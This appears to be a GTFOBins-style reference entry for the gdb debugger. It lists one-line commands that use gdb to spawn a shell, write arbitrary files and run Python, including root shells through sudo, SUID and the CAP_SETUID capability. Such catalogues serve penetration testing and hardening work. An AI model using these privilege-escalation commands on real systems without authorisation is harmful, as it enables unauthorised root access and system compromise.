gdb

Shell

This executable can spawn an interactive system shell.

Unprivileged
This function can be performed by any unprivileged user.
```
gdb -nx -ex '!/bin/sh' -ex quit
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
gdb -nx -ex '!/bin/sh' -ex quit
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
RemarksThis executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
```
gdb -nx -ex '!/bin/sh' -ex quit
```
Capabilities
This function is performed bypassing the usual kernel permission checks if the executable has certain capabilities set.
RemarksThe following capabilities are needed: CAP_SETUID.
```
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!/bin/sh' -ex quit
```

File write

This executable can write data to local files.

Unprivileged
This function can be performed by any unprivileged user.
```
gdb -nx -ex 'dump value /path/to/output-file "DATA"' -ex quit
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
gdb -nx -ex 'dump value /path/to/output-file "DATA"' -ex quit
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
gdb -nx -ex 'dump value /path/to/output-file "DATA"' -ex quit
```

Inherit

This executable can inherit functions from another.

CommentThis allows to run Python code (...).
Unprivileged
This function can be performed by any unprivileged user.
```
gdb -nx -ex 'python ...' -ex quit
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
gdb -nx -ex 'python ...' -ex quit
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
gdb -nx -ex 'python ...' -ex quit
```
Functions
Inherits from python, thus possibly granting its functions.